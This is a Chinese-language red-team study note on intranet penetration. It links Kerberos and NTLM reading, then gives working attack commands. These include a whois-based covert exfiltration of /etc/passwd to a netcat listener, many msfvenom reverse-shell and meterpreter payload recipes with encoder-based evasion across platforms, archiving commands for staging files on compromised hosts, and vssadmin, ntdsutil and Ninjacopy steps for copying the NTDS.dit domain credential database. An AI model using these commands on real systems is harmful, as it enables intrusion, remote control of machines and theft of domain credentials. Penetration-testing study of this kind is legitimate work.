红队攻防学习之内网渗透基础

八、内网渗透基础

8.1 Kerberos协议

8.1.1 Windows认证原理之Kerberos篇

https://xz.aliyun.com/t/5004  ---Kerberos Security

https://www.cnblogs.com/artech/archive/2011/01/24/kerberos.html   ---Windows安全认证是如何进行的?[Kerberos篇]

https://cloud.tencent.com/developer/article/1596509   --Windows认证 | 域认证

https://www.anquanke.com/post/id/190261   --Windows内网协议学习Kerberos篇之ASREQ& ASREP (深入理解)

这四篇文章,仔细看完,你会基本理解Kerberos原理…


8.2 NTLM

8.2.1 NTLM协议及Hash抓取

Windows安全认证有两种方式:Kerberos和NTLM

https://xz.aliyun.com/t/6600

https://cloud.tencent.com/developer/article/1480923

这两篇诠释了NTLM协议及Hash抓取…


8.2.2 Windows认证原理之NTLM篇

https://my.oschina.net/u/4587410/blog/4435334   ---Windows认证原理入门篇

https://www.anquanke.com/post/id/193149   ---Windows内网协议学习NTLM篇之NTLM基础介绍

https://www.cnblogs.com/-qing-/p/11343859.html   ---域渗透基础之NTLM认证协议

书上只是基础的讲解了,这里三篇文章详细深入的讲解了NTLM


8.3 内网命令行渗透笔记

https://www.cnblogs.com/bmjoker/p/10336247.html  

https://cloud.tencent.com/developer/article/1665868

https://www.mi1k7ea.com/2020/02/27/内网信息收集之本机信息收集/

https://uuzdaisuki.com/2018/05/05/内网渗透常用命令总结(windows)/

https://my.oschina.net/u/4399281/blog/3581418

这里集合很多,学会就基本差不多了,我的笔记我不透漏了,大部分是htb上集合的和文章里的…


8.4 内网渗透中的文件传输

利用whois传输文件:

传输机:

root@john:~# whois -h 127.0.0.1 -p 4444 `cat /etc/passwd | base64`

接受机:

root@john:/tmp# nc -l -v -p 4444 | sed "s/ //g" | base64 -d

优点:适用于隐蔽传输。最小化被发现。
缺点:适用于传输小文件。


8.5 msfvenom常用生成payload命令

windows:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b 'x00x0axff' -i 3 -f exe -opayload.exe

mac:

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f macho -o payload.macho

android:

//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk

powershell:

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

linux:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf

php:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php

aspx:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx

jsp:

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.jsp

war:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -
o payload.war

nodejs:

msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.js

python:

msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -
f raw -o payload.py

perl:

msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.pl

ruby:

msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.rb

lua:

msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.lua

windows shellcode:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f c

linux shellcode:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f c

mac shellcode:

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f c

便捷化payload生成:

项目地址:

https://github.com/Screetsec/TheFatRat
root@John:~/Desktop# git clone https://github.com/Screetsec/TheFatRat.git
//设置时需要挂墙

附录:
中文使用说明:
Options:

-p, --payload <payload> 使用指定的payload
--payload-options 列出该payload参数
-l, --list [type] 列出所有的payloads
-n, --nopsled <length> 为payload指定一个 nopsled 长度
-f, --format <format> 指定payload生成格式
--help-formats 查看所有支持格式
-e, --encoder <encoder> 使用编码器
-a, --arch <arch> 指定payload构架
--platform <platform> 指定payload平台
--help-platforms 显示支持的平台
-s, --space <length> 设定payload攻击荷载的最大长度
--encoder-space <length> The maximum size of the encoded payload
(defaults to the -s value)
-b, --bad-chars <list> 指定bad-chars 如: 'x00xff'

-i, --iterations <count> 指定编码次数
-c, --add-code <path> 指定个win32 shellcode 文件
-x, --template <path> 指定一个 executable 文件作为模板
-k, --keep payload自动分离并注入到新的进程
-o, --out <path> 存放生成的payload
-v, --var-name <name> 指定自定义变量
--smallest Generate the smallest possible payload
-h, --help 显示帮助文件
https://www.kanxue.com/book-38-445.htm   高级渗透第十课

8.6 windows环境压缩文件&文件夹命令合集

本篇文章会介绍几种常用的 windows打包、压缩文件&文件夹的方法。

压缩工具 Winrar

https://github.com/u2s1/winrarsc

实际使用情况,直接把 Winrar.exe上传至目标机即可, Winrar大约400k。

常用压缩命令为 :

C:\RECYCLER\Winrar.exe a -k -r -s -m5 tmp.rar srcdir

常用解压命令为:

C:\RECYCLER\Winrar.exe x -t -o -p d:\web.rar d:\desdir

desdir文件夹需存在

压缩工具7za

https://www.7-zip.org   --官网

7za常用命令
查看压缩文件内容(如判断目标机上压缩文件是否有价值)

7za l target.zip

常用压缩命令如下

按照默认压缩类型进行压缩,7za会自动遍历所压缩文件夹内的子文件、子文件夹,默认压缩类型为7z即参数-a -t7z,其中-mx9为7z模式中UItra compressing

7za a -mx=9 archive1.zip test

如果需要使用其他压缩类型,如zip

7za a -tzip archive1.zip test

常用解压缩命令如下,too文件夹7za自动创建。

7za x tmp.7z c:\windows\temp\tool

或者压缩文件、文件夹时,需排除某些文件夹,不压缩上面-x 后面的文件夹内文件,文件夹名有空格需用双引号引起来,命令如下

排除文件

7za a archive1.zip test -x!treeNMS-1.7.4.zip

排除文件夹

7za a archive1.zip test -xr!serverbak

使用 windows自带压缩文件命令

makecab压缩文件命令

https://my.oschina.net/hkmax/blog/144293   --makecab 方法

makecab可压缩单个文件或多个文件,但无法压缩文件夹压缩单个文件命令为

makecab 1. txt 1.zip

expand解压缩命令

解压缩test1.cab至c:\windows\temp\tool目录,tool目录必须存在

expand D:\dayu\test1.cab -f:* c:\windows\temp\tool

zip.vbs解压方法

windows文件管理器自带压缩、解压缩功能( zipped),属于explorer的功能,无法命令行调用,具体介绍传送门( https://filext.com/faq/compressed_zip_folder.html),此处zip.vbs为调用COM接口从而调用自带的 explorer zip

压缩文件命令为

CScript zip.vbs C:\test C:\target.zip

powershell缩文件夹

将文件或文件夹test压缩为test.zip

powershell Compress-Archive -Path D:\test -DestinationPath E:\test.zip

将文件test.zip解压到test目录下

powershell Expand-Archive -Path E:\test.zip -DestinationPath F:\test

8.7 Windows net 命令集使用

https://www.cnblogs.com/iriczhao/p/10469143.html

https://cloud.tencent.com/developer/article/1459966

https://www.jianshu.com/p/b35078a6f030

认真看完知道有个概念即可!!!


8.8 Cobaltstrike与Metasploit实战联动


8.9 渗透中常用的复制工具

在渗透中经常需要复制像NTDS.dit、mssql数据库文件等关键文件。由于这些文件都被占用,所以不能直接复制。下面介绍几个常用的命令or工具来实现复制

VSSadmin

域环境默认安装。

使用:

创建卷影

vssadmin create shadow /for=c:

获取当前卷影

vssadmin list shadow

从卷影复制文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit

删除卷影

vssadmin delete shadows /for=c: /quiet

ntdsutil

域环境默认安装

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

挂载快照

ntdsutil snapshot "mount {22508acf-8a01-4322-867d-383cf78f59e3} quit quit
快照挂载为C:\$SNAP_201912231558_V0LUMEC$\,copy ntds即可

卸载快照

ntdsutil snapshot "unmount {22508acf-8a01-4322-867d-383cf78f59e3}" quit quit

删除快照

ntdsutil snapshot "delete {22508acf-8a01-4322-867d-383cf78f59e3}" create quit quit

Vshadow

不是系统默认工具,可在Microsoft SDK中获取

创建快照

vshadow.exe -p -nw C:

获取快照列表

vshadow.exe -q

复制

copy Shadow copy device "Name"\windows\NTDS\ntds.dit c:\ntds.dit 

删除快照

vshadow -ds={ID}

Ninjacopy

ninjacopy是powersploit中的一个powershell脚本直接使用 Invoke-NinjaCopy -Path <需要复制的文件> -LocalDestination <复制文件保存位置> 即可复制

VolumeShadowCopyTools

属于powersploit的项目,地址VolumeShadowCopyTools,之前遇到上面介绍的方法都不能复制数据库文件,使用这个工具成功复制

创建卷影

New-VolumeShadowCopy -Volume C:\

列出卷影

Get-VolumeShadowCopy

挂载卷影

Mount-VolumeShadowCopy -Path C:\Users\public -DevicePath \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1   可直接在挂载点操作了

卸载卷影

Remove-VolumeShadowCopy -DevicePath \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy1